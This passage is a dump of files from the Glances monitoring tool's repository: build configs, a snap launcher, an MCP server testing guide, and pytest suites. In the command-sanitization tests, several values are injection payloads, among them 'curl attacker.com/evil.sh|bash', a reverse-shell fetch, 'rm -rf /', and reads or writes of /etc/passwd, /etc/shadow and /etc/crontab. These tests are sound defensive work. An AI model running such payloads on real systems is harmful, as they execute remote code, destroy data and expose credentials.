\"^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$\"\n\n[tool.ruff.lint.mccabe]\n# Unlike Flake8, default to a complexity level of 10.\nmax-complexity = 21\n\n[build-system]\nbuild-backend = \"setuptools.build_meta\"\nrequires = [\"setuptools>=68\"]\n\n[tool.pytest.ini_options]\n# Set to true to display live message during tests\nlog_cli = false\nlog_level = \"INFO\"\n#log_cli_format = \"%(asctime)s [%(levelname)8s] %(message)s (%(filename)s:%(lineno)s)\"\n#log_cli_date_format = \"%Y-%m-%d %H:%M:%S\"\n\n[tool.flake8]\nmax-line-length = 120\n\n[tool.uv.workspace]\nmembers = [\n  \"venv-min\",\n]\n"
  },
  {
    "path": "renovate.json",
    "content": "{\n\t\"$schema\": \"https://docs.renovatebot.com/renovate-schema.json\",\n\t\"extends\": [\"config:recommended\"],\n\t\"prHourlyLimit\": 3,\n\t\"updateLockFiles\": false\n}\n"
  },
  {
    "path": "requirements.txt",
    "content": "# This file was autogenerated by uv via the following command:\n#    uv export --no-emit-workspace --no-hashes --no-group dev --output-file requirements.txt\ndefusedxml==0.7.1\n    # via glances\njinja2==3.1.6\n    # via glances\nmarkupsafe==3.0.3\n    # via jinja2\npackaging==26.0\n    # via glances\npsutil==7.2.2\n    # via glances\npyinstrument==5.1.2\n    # via glances\nshtab==1.8.0 ; sys_platform != 'win32'\n    # via glances\nwindows-curses==2.4.1 ; sys_platform == 'win32'\n    # via glances\n"
  },
  {
    "path": "run-venv.py",
    "content": "#!.venv/bin/python\nimport re\nimport sys\n\nfrom glances import main\n\nif __name__ == '__main__':\n    sys.argv[0] = re.sub(r'(-script\\.pyw|\\.exe)?$', '', sys.argv[0])\n    sys.exit(main())\n"
  },
  {
    "path": "run.py",
    "content": "#!/usr/bin/python\nimport re\nimport sys\n\nfrom glances import main\n\nif __name__ == '__main__':\n    sys.argv[0] = re.sub(r'(-script\\.pyw|\\.exe)?$', '', sys.argv[0])\n    sys.exit(main())\n"
  },
  {
    "path": "snap/local/launchers/glances-launch",
    "content": "#!/usr/bin/env bash\n# This is the maintenance launcher for the snap, make necessary runtime\n# environment changes to make the snap work here.  You may also insert\n# security confinement/deprecation/obsoletion notice of the snap here.\nset \\\n    -o errexit \\\n    -o errtrace \\\n    -o nounset \\\n    -o pipefail\n\n# Use user's real home directory for canonical configuration path access\nHOME=\"$(\n    getent passwd \"${USER}\" \\\n        | cut --delimiter=: --fields=6\n)\"\n\n# Use snap's own folder for cache directory\ndeclare XDG_CACHE_HOME\nmkdir \\\n    --parents \\\n    \"${SNAP_USER_DATA}\"/.cache\nXDG_CACHE_HOME=\"${SNAP_USER_DATA}\"/.cache\nexport XDG_CACHE_HOME\n\n# Finally run the next part of the command chain\nexec \"${@}\"\n"
  },
  {
    "path": "snap/snapcraft.yaml",
    "content": "name: glances\n# Version sementic:\n# version+buildXX (00 for beta, 01..99 for stable releases)\n# Do not forget to set the source-branch option to master for release (see end of file)\n# build00 => glances source-branch should be set to develop\n# buildXX => glances source-branch should be set to master\nversion: '4.5.3+build00'\n\nsummary: Glances an Eye on your system. A top/htop alternative.\ndescription: |\n  Glances is a cross-platform monitoring tool which aims to present\n  a maximum of information in a minimum of space through a curses or\n  Web based interface. It can adapt dynamically the displayed information\n  depending on the user interface size.\n\nbase: core24\ngrade: stable\nconfinement: strict\ncompression: lzo\n\n# # i386 is not compliant with core20 or higher\n# platforms:\n#   - amd64\n#   - arm64\n#   - armhf\n#   - ppc64el\n#   - s390x\n\napps:\n  glances:\n    command: bin/glances\n    plugs:  # https://snapcraft.io/docs/supported-interfaces\n      - hardware-observe\n      - home\n      - log-observe\n      - mount-observe\n      - network\n      - network-bind\n      - network-observe\n      - network-setup-observe\n      - physical-memory-observe\n      - power-control\n      - process-control\n      - raw-volume\n      - removable-media\n      - system-observe\n      - uio\n      - upower-observe\n      # Others\n      - docker\n      - home-glances-config\n      - etc-glances-config\n      - proc-sys\n      - opengl\n    environment:\n      LANG: C.UTF-8\n      LC_ALL: C.UTF-8\n\nplugs:\n  docker:\n    interface: docker\n  home-glances-config:\n    interface: personal-files\n    read:\n      - $HOME/.config/glances/glances.conf\n  etc-glances-config:\n    interface: system-files\n    read:\n      - /etc/glances/glances.conf\n  proc-sys:\n    interface: system-observe\n\nparts:\n  glances:\n    plugin: python\n    source: https://github.com/nicolargo/glances.git\n    # For releases, set to master\n    # For beta/dev, set to develop\n    source-branch: develop\n    python-requirements:\n      - docker-requirements.txt\n"
  },
  {
    "path": "sonar-project.properties",
    "content": "# Required metadata\nsonar.projectKey=glances\nsonar.projectName=Glances\nsonar.projectVersion=4.0\n\n# Path to the parent source code directory.\n# Path is relative to the sonar-project.properties file. Replace \"\\\" by \"/\" on Windows.\n# Since SonarQube 4.2, this property is optional if sonar.modules is set.\n# If not set, SonarQube starts looking for source code from the directory containing\n# the sonar-project.properties file.\nsonar.sources=glances\n\n# Language\nsonar.language=py\n\n# Encoding of the source code\nsonar.sourceEncoding=UTF-8\n\n# Additional parameters\n#sonar.my.property=value\n"
  },
  {
    "path": "tests/HOW_TO_TEST_MCP.md",
    "content": "# How to test the Glances MCP server\n\nThis guide covers both the automated test suite (`tests/test_mcp.py`) and\nmanual verification of the MCP server that is now built into Glances.\n\n---\n\n## Prerequisites\n\nInstall Glances with the `mcp` and `web` extras:\n\n```bash\npip install 'glances[web,mcp]'\n```\n\nOr, inside the development virtual environment:\n\n```bash\npip install -e '.[web,mcp]'\n```\n\n---\n\n## Automated test suite\n\n```bash\n# From the repository root\npython -m pytest tests/test_mcp.py -v\n\n# Or with the project venv\n.venv/bin/python -m pytest tests/test_mcp.py -v\n```\n\nThe suite automatically:\n1. Starts a Glances web server with `--enable-mcp` on port **61235**\n2. Runs smoke tests (HTTP-level) and full MCP-client tests for every resource\n   and prompt\n3. Shuts the server down\n\n> Tests are skipped automatically when the `mcp` package is not installed.\n\n---\n\n## Manual testing\n\n### 1. Start Glances with MCP enabled\n\n```bash\nglances -w --enable-mcp\n```\n\n| Endpoint         | URL                                      |\n|------------------|------------------------------------------|\n| SSE transport    | `http://localhost:61208/mcp/sse`         |\n| POST messages    | `http://localhost:61208/mcp/messages/`   |\n\n### 2. Verify the SSE endpoint with curl\n\n```bash\ncurl -N http://localhost:61208/mcp/sse\n```\n\nYou should see a continuous `text/event-stream` response with an `endpoint`\nevent pointing to the messages URL.\n\n### 3. Explore resources and prompts with the Python client\n\n```python\nimport asyncio, json\nfrom mcp.client.sse import sse_client\nfrom mcp import ClientSession\nfrom pydantic import AnyUrl\n\nMCP_SSE = \"http://localhost:61208/mcp/sse\"\n\nasync def demo():\n    async with sse_client(MCP_SSE) as (read, write):\n        async with ClientSession(read, write) as session:\n            await session.initialize()\n\n            # List static resources\n            res = await session.list_resources()\n            print(\"Resources:\", [str(r.uri) for r in res.resources])\n\n            # List resource templates\n            tmpl = await session.list_resource_templates()\n            print(\"Templates:\", [t.uriTemplate for t in tmpl.resourceTemplates])\n\n            # Read all plugin names\n            plugins = await session.read_resource(AnyUrl(\"glances://plugins\"))\n            print(\"Plugins:\", json.loads(plugins.contents[0].text)[:5], \"…\")\n\n            # Read CPU stats\n            cpu = await session.read_resource(AnyUrl(\"glances://stats/cpu\"))\n            print(\"CPU:\", json.loads(cpu.contents[0].text))\n\n            # Read CPU alert thresholds\n            limits = await session.read_resource(AnyUrl(\"glances://limits/cpu\"))\n            print(\"CPU limits:\", json.loads(limits.contents[0].text))\n\n            # List prompts\n            prompts = await session.list_prompts()\n            print(\"Prompts:\", [p.name for p in prompts.prompts])\n\n            # Run system health summary prompt\n            health = await session.get_prompt(\"system_health_summary\")\n            print(\"Health prompt (first 200 chars):\", health.messages[0].content.text[:200])\n\n            # Run alert analysis with a severity filter\n            alerts = await session.get_prompt(\"alert_analysis\", arguments={\"level\": \"critical\"})\n            print(\"Alerts:\", alerts.messages[0].content.text[:200])\n\n            # Top-5 processes report\n            procs = await session.get_prompt(\"top_processes_report\", arguments={\"nb\": \"5\"})\n            print(\"Processes:\", procs.messages[0].content.text[:200])\n\nasyncio.run(demo())\n```\n\n### 4. Connect Claude CLI (Linux)\n\nAdd the Glances MCP server with:\n\n```bash\nclaude mcp add --transport sse glances http://localhost:61208/mcp/sse\n```\n\nThen verify that the server is recognised:\n\n```bash\nclaude mcp list\n# glances: http://localhost:61208/mcp/sse\n```\n\nOnce configured, start a Claude CLI session and try:\n\n- *\"Is my system healthy ?\"\n\nIt will return:\n\n```markdown\nHere's your system health summary:\n\n  CPU — Good\n\n  - 6% total usage, load average 0.88 (on 16 cores) — very light\n\n  Memory — Warning\n\n  - RAM: 76.8% used (12.6 GB / 16.4 GB)\n  - Swap: 95.9% used (3.9 GB / 4.0 GB) — critical, nearly exhausted\n\n  Disk — Good\n\n  - Root (/): 40.2% used, 530 GB free\n\n  Temperatures — Good\n\n  ┌────────────┬──────┐\n  │   Sensor   │ Temp │\n  ├────────────┼──────┤\n  │ CPU        │ 54°C │\n  ├────────────┼──────┤\n  │ HDD        │ 40°C │\n  ├────────────┼──────┤\n  │ NVMe       │ 36°C │\n  ├────────────┼──────┤\n  │ RAM        │ 41°C │\n  ├────────────┼──────┤\n  │ GPU (i915) │ 49°C │\n  └────────────┴──────┘\n\n  - CPU Fan: 2992 RPM, Video Fan: 2822 RPM — both spinning normally\n\n  Battery — Good\n\n  - 96%, currently charging\n\n  Alerts — None active\n\n  ---\n  Verdict: mostly healthy, but swap is nearly full. Your system is swapping heavily (12.7 GB\n  swapped out), which suggests RAM pressure. You may want to check for memory-hungry processes\n   and consider killing or restarting any you don't need.\n```\n\n- *\"What is the current CPU usage on my machine ?\"*\n- *\"Are there any active alerts ?\"*\n- *\"Show me the top 5 processes by CPU.\"*\n- *\"How is my disk space looking ?\"*\n\n> If Glances requires authentication, add a Bearer token or Basic Auth header\n> via the `headers` key in `settings.json` (see the authentication section\n> below).\n\n### 5. Connect Claude Desktop\n\nAdd to `claude_desktop_config.json`\n(`~/Library/Application Support/Claude/claude_desktop_config.json` on macOS,\n`%APPDATA%\\Claude\\claude_desktop_config.json` on Windows):\n\n```json\n{\n  \"mcpServers\": {\n    \"glances\": {\n      \"url\": \"http://localhost:61208/mcp/sse\"\n    }\n  }\n}\n```\n\nRestart Claude Desktop, then try:\n\n- *\"What is the current CPU usage on my machine?\"*\n- *\"Are there any active alerts?\"*\n- *\"Show me the top 5 processes by CPU.\"*\n- *\"How is my disk space looking?\"*\n\n---\n\n## Testing authentication\n\nStart Glances with a password:\n\n```bash\nglances -w --enable-mcp --username\n# Follow the prompts to create a username/password pair\n```\n\nA request without credentials should return **HTTP 401**:\n\n```bash\ncurl -I http://localhost:61208/mcp/sse\n# HTTP/1.1 401 Unauthorized\n```\n\nConnect with Basic Auth:\n\n```python\nimport base64\ncreds = base64.b64encode(b\"myuser:mypassword\").decode()\nheaders = {\"Authorization\": f\"Basic {creds}\"}\n\nasync with sse_client(MCP_SSE, headers=headers) as (read, write):\n    ...\n```\n\nOr with a JWT Bearer token (see the RESTful API docs for how to obtain one):\n\n```python\nheaders = {\"Authorization\": \"Bearer <your_jwt_token>\"}\nasync with sse_client(MCP_SSE, headers=headers) as (read, write):\n    ...\n```\n\nThe unit tests for the auth middleware live in `tests/test_mcp.py`\n(`TestGlancesMcpAuthMiddleware`) and do not require a running server.\n"
  },
  {
    "path": "tests/conftest.py",
    "content": "#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unitary tests suite fixtures.\n\nThis module provides pytest fixtures for testing Glances plugins and components.\n\nFor WebUI tests, the following are required:\n- chromedriver command line (example on Ubuntu system):\n  $ sudo apt install chromium-chromedriver\n- The chromedriver command line should be in your path (/usr/bin)\n\"\"\"\n\nimport logging\nimport os\nimport shlex\nimport subprocess\nimport time\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom glances.main import GlancesMain\nfrom glances.stats import GlancesStats\n\n# Optional imports for WebUI testing\ntry:\n    from selenium import webdriver\n    from selenium.webdriver import ChromeOptions\n    from selenium.webdriver.chrome.service import Service as ChromeService\n    from webdriver_manager.chrome import ChromeDriverManager\n\n    SELENIUM_AVAILABLE = True\nexcept ImportError:\n    SELENIUM_AVAILABLE = False\n\nSERVER_PORT = 61234\nURL = f\"http://localhost:{SERVER_PORT}\"\n\n\n@pytest.fixture(scope=\"session\")\ndef logger():\n    return logging.getLogger(__name__)\n\n\n@pytest.fixture(scope=\"session\")\ndef glances_stats():\n    testargs = [\"glances\", \"-C\", \"./conf/glances.conf\"]\n    with patch('sys.argv', testargs):\n        core = GlancesMain()\n    stats = GlancesStats(config=core.get_config(), args=core.get_args())\n    yield stats\n    stats.end()\n\n\n@pytest.fixture(scope=\"module\")\ndef glances_stats_no_history():\n    testargs = [\"glances\", \"-C\", \"./conf/glances.conf\"]\n    with patch('sys.argv', testargs):\n        core = GlancesMain()\n    args = core.get_args()\n    args.time = 1\n    args.cached_time = 1\n    args.disable_history = True\n    stats = GlancesStats(config=core.get_config(), args=args)\n    yield stats\n    stats.end()\n\n\n@pytest.fixture(scope=\"session\")\ndef glances_webserver():\n    if os.path.isfile('.venv/bin/python'):\n        cmdline = \".venv/bin/python\"\n    else:\n        cmdline = \"python\"\n    cmdline += f\" -m glances -B 0.0.0.0 -w --browser -p {SERVER_PORT} -C ./conf/glances.conf\"\n    args = shlex.split(cmdline)\n    pid = subprocess.Popen(args)\n    time.sleep(3)\n    yield pid\n    pid.terminate()\n    time.sleep(1)\n\n\n@pytest.fixture(scope=\"session\")\ndef web_browser():\n    \"\"\"Init Chrome browser for WebUI testing.\n\n    Requires selenium and webdriver-manager packages.\n    \"\"\"\n    if not SELENIUM_AVAILABLE:\n        pytest.skip(\"selenium not installed - skipping WebUI tests\")\n\n    opt = ChromeOptions()\n    opt.add_argument(\"--headless\")\n    opt.add_argument(\"--start-maximized\")\n    srv = ChromeService(ChromeDriverManager().install())\n    driver = webdriver.Chrome(options=opt, service=srv)\n\n    # Yield the WebDriver instance\n    driver.implicitly_wait(10)\n    yield driver\n\n    # Close the WebDriver instance\n    driver.quit()\n"
  },
  {
    "path": "tests/test_actions_sanitize.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unit tests for action command sanitization.\n\nTests cover:\n- _sanitize_mustache_dict strips shell operators from string values\n- Pipe (|), chain (&&), redirect (>, >>) injection via Mustache values\n- Non-string values are preserved unchanged\n- The sanitization integrates correctly with GlancesActions.run()\n- secure_popen basic functionality\n\"\"\"\n\nimport os\nimport tempfile\nfrom unittest.mock import patch\n\nimport pytest\n\nfrom glances.actions import GlancesActions, _sanitize_mustache_dict\nfrom glances.secure import secure_popen\n\n# Skip the whole module on Windows where echo -n behaves differently\npytestmark = pytest.mark.skipif(\n    os.name == 'nt',\n    reason='Shell command tests are POSIX-only',\n)\n\n\n# ---------------------------------------------------------------------------\n# Tests – _sanitize_mustache_dict\n# ---------------------------------------------------------------------------\n\n\nclass TestSanitizeMustacheDict:\n    \"\"\"Unit tests for _sanitize_mustache_dict.\"\"\"\n\n    def test_none_returns_none(self):\n        assert _sanitize_mustache_dict(None) is None\n\n    def test_empty_dict_returns_empty(self):\n        assert _sanitize_mustache_dict({}) == {}\n\n    def test_strips_pipe(self):\n        d = {'name': 'innocent|curl evil.com'}\n        safe = _sanitize_mustache_dict(d)\n        assert '|' not in safe['name']\n        assert safe['name'] == 'innocent curl evil.com'\n\n    def test_strips_double_ampersand(self):\n        d = {'name': 'web && curl evil.com'}\n        safe = _sanitize_mustache_dict(d)\n        assert '&&' not in safe['name']\n        assert safe['name'] == 'web   curl evil.com'\n\n    def test_strips_redirect(self):\n        d = {'name': 'data > /etc/passwd'}\n        safe = _sanitize_mustache_dict(d)\n        assert '>' not in safe['name']\n        assert safe['name'] == 'data   /etc/passwd'\n\n    def test_strips_append_redirect(self):\n        d = {'name': 'data >> /etc/shadow'}\n        safe = _sanitize_mustache_dict(d)\n        assert '>>' not in safe['name']\n        assert safe['name'] == 'data   /etc/shadow'\n\n    def test_strips_multiple_operators(self):\n        d = {'name': 'foo|bar && baz > qux >> end'}\n        safe = _sanitize_mustache_dict(d)\n        assert '|' not in safe['name']\n        assert '&&' not in safe['name']\n        # >> is replaced first (before >), then remaining > is replaced\n        for op in ('|', '&&', '>>', '>'):\n            assert op not in safe['name']\n\n    def test_preserves_int_values(self):\n        d = {'cpu_percent': 95, 'name': 'safe'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['cpu_percent'] == 95\n\n    def test_preserves_float_values(self):\n        d = {'load': 3.14, 'name': 'safe'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['load'] == 3.14\n\n    def test_preserves_none_values(self):\n        d = {'key': None, 'name': 'safe'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['key'] is None\n\n    def test_preserves_bool_values(self):\n        d = {'is_up': True, 'name': 'safe'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['is_up'] is True\n\n    def test_preserves_list_values(self):\n        d = {'ports': [80, 443], 'name': 'safe'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['ports'] == [80, 443]\n\n    def test_clean_string_unchanged(self):\n        d = {'name': 'my-web-server', 'mnt_point': '/data/disk1'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe['name'] == 'my-web-server'\n        assert safe['mnt_point'] == '/data/disk1'\n\n    def test_does_not_mutate_original(self):\n        d = {'name': 'foo|bar'}\n        _sanitize_mustache_dict(d)\n        assert d['name'] == 'foo|bar'\n\n    def test_returns_new_dict(self):\n        d = {'name': 'foo'}\n        safe = _sanitize_mustache_dict(d)\n        assert safe is not d\n\n\n# ---------------------------------------------------------------------------\n# Tests – Command injection scenarios\n# ---------------------------------------------------------------------------\n\n\nclass TestCommandInjectionPrevention:\n    \"\"\"Verify that crafted Mustache values cannot inject commands.\"\"\"\n\n    def test_pipe_injection_in_process_name(self):\n        \"\"\"Simulate: process name contains pipe to inject curl command.\"\"\"\n        mustache_dict = {\n            'name': 'innocent|curl attacker.com/evil.sh|bash',\n            'cpu_percent': 99.0,\n        }\n        safe = _sanitize_mustache_dict(mustache_dict)\n        # The pipe characters must be gone\n        assert '|' not in safe['name']\n        assert 'curl' in safe['name']  # text is preserved, just operator removed\n\n    def test_chain_injection_in_container_name(self):\n        \"\"\"Simulate: container name contains && to chain commands.\"\"\"\n        mustache_dict = {\n            'name': 'web && curl attacker.com/rev.sh | bash && echo ',\n            'Image': 'nginx:latest',\n            'Id': 'abc123',\n            'cpu': 95.0,\n        }\n        safe = _sanitize_mustache_dict(mustache_dict)\n        assert '&&' not in safe['name']\n        assert '|' not in safe['name']\n        # Non-string fields untouched\n        assert safe['cpu'] == 95.0\n\n    def test_redirect_injection_in_mount_point(self):\n        \"\"\"Simulate: mount point contains redirect to overwrite files.\"\"\"\n        mustache_dict = {\n            'mnt_point': '/data > /etc/crontab',\n            'used': 900000,\n            'size': 1000000,\n        }\n        safe = _sanitize_mustache_dict(mustache_dict)\n        assert '>' not in safe['mnt_point']\n\n    def test_append_redirect_injection(self):\n        \"\"\"Simulate: value contains >> to append to sensitive files.\"\"\"\n        mustache_dict = {\n            'name': 'logger >> /etc/shadow',\n        }\n        safe = _sanitize_mustache_dict(mustache_dict)\n        assert '>>' not in safe['name']\n\n\n# ---------------------------------------------------------------------------\n# Tests – secure_popen basic functionality\n# ---------------------------------------------------------------------------\n\n\nclass TestSecurePopen:\n    \"\"\"Basic tests for secure_popen.\"\"\"\n\n    def test_simple_echo(self):\n        assert secure_popen('echo -n TEST') == 'TEST'\n\n    def test_chained_commands(self):\n        assert secure_popen('echo -n A && echo -n B') == 'AB'\n\n    def test_pipe(self):\n        result = secure_popen('echo FOO | grep FOO')\n        assert 'FOO' in result\n\n    def test_redirect_to_file(self):\n        with tempfile.NamedTemporaryFile(mode='r', suffix='.txt', delete=False) as f:\n            tmpfile = f.name\n        try:\n            secure_popen(f'echo -n HELLO > {tmpfile}')\n            with open(tmpfile) as f:\n                assert f.read() == 'HELLO'\n        finally:\n            os.unlink(tmpfile)\n\n\n# ---------------------------------------------------------------------------\n# Tests – GlancesActions.run() integration\n# ---------------------------------------------------------------------------\n\n\nclass TestActionsRunIntegration:\n    \"\"\"Verify that GlancesActions.run() uses sanitized mustache values.\"\"\"\n\n    @pytest.fixture\n    def actions(self):\n        \"\"\"Create a GlancesActions instance with an expired start timer.\"\"\"\n        a = GlancesActions()\n        # Force the start timer to be finished so actions can run immediately\n        a.start_timer = type('FakeTimer', (), {'finished': lambda self: True})()\n        return a\n\n    def test_run_with_safe_values(self, actions):\n        \"\"\"Normal run with safe values should succeed.\"\"\"\n        result = actions.run(\n            'cpu',\n            'CRITICAL',\n            ['echo -n {{name}}'],\n            repeat=False,\n            mustache_dict={'name': 'myprocess'},\n        )\n        assert result is True\n\n    def test_run_sanitizes_pipe_in_mustache(self, actions):\n        \"\"\"Pipe in mustache value must not create a real pipe.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            actions.run(\n                'cpu',\n                'CRITICAL',\n                ['echo {{name}}'],\n                repeat=False,\n                mustache_dict={'name': 'evil|rm -rf /'},\n            )\n            # The command passed to secure_popen should have | replaced\n            called_cmd = mock_popen.call_args[0][0]\n            assert '|' not in called_cmd\n            assert 'evil' in called_cmd\n            assert 'rm -rf /' in called_cmd  # text preserved, pipe removed\n\n    def test_run_sanitizes_chain_in_mustache(self, actions):\n        \"\"\"&& in mustache value must not chain commands.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            actions.run(\n                'containers',\n                'WARNING',\n                ['echo {{name}}'],\n                repeat=False,\n                mustache_dict={'name': 'web && cat /etc/passwd'},\n            )\n            called_cmd = mock_popen.call_args[0][0]\n            assert '&&' not in called_cmd\n\n    def test_run_sanitizes_redirect_in_mustache(self, actions):\n        \"\"\"> in mustache value must not redirect output.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            actions.run(\n                'fs',\n                'CRITICAL',\n                ['echo {{mnt_point}}'],\n                repeat=False,\n                mustache_dict={'mnt_point': '/data > /etc/crontab'},\n            )\n            called_cmd = mock_popen.call_args[0][0]\n            assert '>' not in called_cmd\n\n    def test_run_preserves_template_operators(self, actions):\n        \"\"\"Operators in the template itself (not in values) must be preserved.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            # The template has a pipe, but the mustache value is clean\n            actions.run(\n                'cpu',\n                'CRITICAL',\n                ['echo {{name}} | grep something'],\n                repeat=False,\n                mustache_dict={'name': 'safe-process'},\n            )\n            called_cmd = mock_popen.call_args[0][0]\n            # Template pipe is preserved\n            assert '|' in called_cmd\n            assert 'grep something' in called_cmd\n\n    def test_run_preserves_template_redirect(self, actions):\n        \"\"\"Redirect in the template itself must be preserved.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            actions.run(\n                'fs',\n                'WARNING',\n                ['echo {{mnt_point}} > /tmp/alert.log'],\n                repeat=False,\n                mustache_dict={'mnt_point': '/data/disk1'},\n            )\n            called_cmd = mock_popen.call_args[0][0]\n            assert '>' in called_cmd\n            assert '/tmp/alert.log' in called_cmd\n\n    def test_run_preserves_template_chain(self, actions):\n        \"\"\"&& in the template itself must be preserved.\"\"\"\n        with patch('glances.actions.secure_popen') as mock_popen:\n            mock_popen.return_value = ''\n            actions.run(\n                'cpu',\n                'CRITICAL',\n                ['echo {{name}} && echo done'],\n                repeat=False,\n                mustache_dict={'name': 'safe-process'},\n            )\n            called_cmd = mock_popen.call_args[0][0]\n            assert '&&' in called_cmd\n\n    def test_run_does_not_execute_when_already_triggered(self, actions):\n        \"\"\"Same criticality should not re-trigger if repeat=False.\"\"\"\n        actions.set('cpu', 'CRITICAL')\n        result = actions.run(\n            'cpu',\n            'CRITICAL',\n            ['echo test'],\n            repeat=False,\n            mustache_dict={},\n        )\n        assert result is False\n\n    def test_run_repeats_when_repeat_true(self, actions):\n        \"\"\"Same criticality should re-trigger when repeat=True.\"\"\"\n        actions.set('cpu', 'CRITICAL')\n        result = actions.run(\n            'cpu',\n            'CRITICAL',\n            ['echo test'],\n            repeat=True,\n            mustache_dict={},\n        )\n        assert result is True\n"
  },
  {
    "path": "tests/test_api.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2025 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances API unitary tests suite.\"\"\"\n\nfrom unittest.mock import patch\n\nfrom glances import __version__, api\n\n# Global variables\n# =================\n\n# Init Glances API\n# test_config = core.get_config()\n# test_args = core.get_args()\n\ntestargs = [\"glances\", \"-C\", \"./conf/glances.conf\"]\nwith patch('sys.argv', testargs):\n    gl = api.GlancesAPI()\n\n\n# Pytest functions to test the Glances API version\ndef test_glances_api_version():\n    assert gl.__version__ == __version__.split('.')[0]\n\n\ndef test_glances_api_plugins():\n    # Check that the plugins list is not empty\n    assert len(gl.plugins()) > 0\n    # Check that the cpu plugin is in the list of plugins\n    assert 'cpu' in gl.plugins()\n    # Check that the network plugin is in the list of plugins\n    assert 'network' in gl.plugins()\n    # Check that the processcount plugin is in the list of plugins\n    assert 'processcount' in gl.plugins()\n    # Check that the processlist plugin is in the list of plugins\n    assert 'processlist' in gl.plugins()\n\n\ndef test_glances_api_plugin_cpu():\n    # Check that the cpu plugin is available\n    assert gl.cpu is not None\n    # Get list of keys (cpu stat fields)\n    keys = gl.cpu.keys()\n    # Check that the keys are not empty\n    assert len(keys) > 0\n    # Check that the cpu plugin has a total item\n    assert gl.cpu['total'] is not None\n    # and is a float\n    assert isinstance(gl.cpu['total'], float)\n    # test the get method\n    assert isinstance(gl.cpu.get('total'), float)\n\n\ndef test_glances_api_plugin_network():\n    # Check that the network plugin is available\n    assert gl.network is not None\n    # Get list of keys (interfaces)\n    keys = gl.network.keys()\n    # Check that the keys are not empty\n    assert len(keys) > 0\n    # Check that the first item is a dictionary\n    assert isinstance(gl.network[keys[0]], dict)\n\n\ndef test_glances_api_plugin_process():\n    # Get list of keys (processes)\n    keys = gl.processcount.keys()\n    # Check that the keys are not empty\n    assert len(keys) > 0\n    # Check that processcount total is > 0\n    assert gl.processcount['total'] > 0\n\n    # Get list of keys (processes)\n    keys = gl.processlist.keys()\n    # Check that first key is an integer (PID)\n    assert isinstance(keys[0], int)\n    # Check that the first item is a dictionary\n    assert isinstance(gl.processlist[keys[0]], dict)\n\n\ndef test_glances_api_limits():\n    assert isinstance(gl.cpu.limits, dict)\n    assert isinstance(gl.cpu.limits, dict)\n"
  },
  {
    "path": "tests/test_browser_restful.py",
    "content": "#!/usr/bin/env python\n#\n# Glances - An eye on your system\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Glances unit tests for the WebUI/RESTful API Central Browser mode.\n\nTests cover:\n- /api/<version>/serverslist endpoint returns a valid servers list\n- Credential fields (password, uri) are stripped from API responses\n- Dynamic (Zeroconf) server entries do not leak saved credentials via the API\n- Server list structure validation\n\"\"\"\n\nimport os\nimport re\nimport shlex\nimport subprocess\nimport time\nfrom pathlib import Path\n\nimport pytest\nimport requests\n\nfrom glances.outputs.glances_restful_api import GlancesRestfulApi\n\n# ---------------------------------------------------------------------------\n# Constants\n# ---------------------------------------------------------------------------\n\nSERVER_PORT = 61237  # Distinct port to avoid conflicts with other tests\nAPI_VERSION = GlancesRestfulApi.API_VERSION\nURL = f\"http://localhost:{SERVER_PORT}/api/{API_VERSION}\"\n\n# Servers injected into the generated config\nSTATIC_SERVERS = [\n    {'name': 'localhost', 'alias': 'Local Test Server', 'port': '61209', 'protocol': 'rpc'},\n    {'name': 'localhost', 'alias': 'Local REST Server', 'port': '61208', 'protocol': 'rest'},\n]\n\nPASSWORDS = {\n    'localhost': 'testpassword',\n    'default': 'defaultpassword',\n}\n\nDEFAULT_CONF = Path(__file__).resolve().parent.parent / 'conf' / 'glances.conf'\n\n\n# ---------------------------------------------------------------------------\n# Helpers – generate a browser-enabled config\n# ---------------------------------------------------------------------------\n\n\ndef _generate_browser_conf(tmp_path):\n    \"\"\"Read the default glances.conf, activate [serverlist] and [passwords],\n    write to tmp_path and return the file path.\"\"\"\n    source = DEFAULT_CONF.read_text(encoding='utf-8')\n\n    # --- Build [serverlist] replacement ---\n    serverlist_lines = [\n        '[serverlist]',\n        'columns=system:hr_name,load:min5,cpu:total,mem:percent',\n    ]\n    for idx, srv in enumerate(STATIC_SERVERS, start=1):\n        serverlist_lines.append(f'server_{idx}_name={srv[\"name\"]}')\n        serverlist_lines.append(f'server_{idx}_alias={srv[\"alias\"]}')\n        serverlist_lines.append(f'server_{idx}_port={srv[\"port\"]}')\n        serverlist_lines.append(f'server_{idx}_protocol={srv[\"protocol\"]}')\n    serverlist_block = '\\n'.join(serverlist_lines) + '\\n'\n\n    # --- Build [passwords] replacement ---\n    password_lines = ['[passwords]']\n    for host, pwd in PASSWORDS.items():\n        password_lines.append(f'{host}={pwd}')\n    password_block = '\\n'.join(password_lines) + '\\n'\n\n    # Replace existing sections in-place\n    source = re.sub(\n        r'\\[serverlist\\].*?(?=\\n\\[|\\Z)',\n        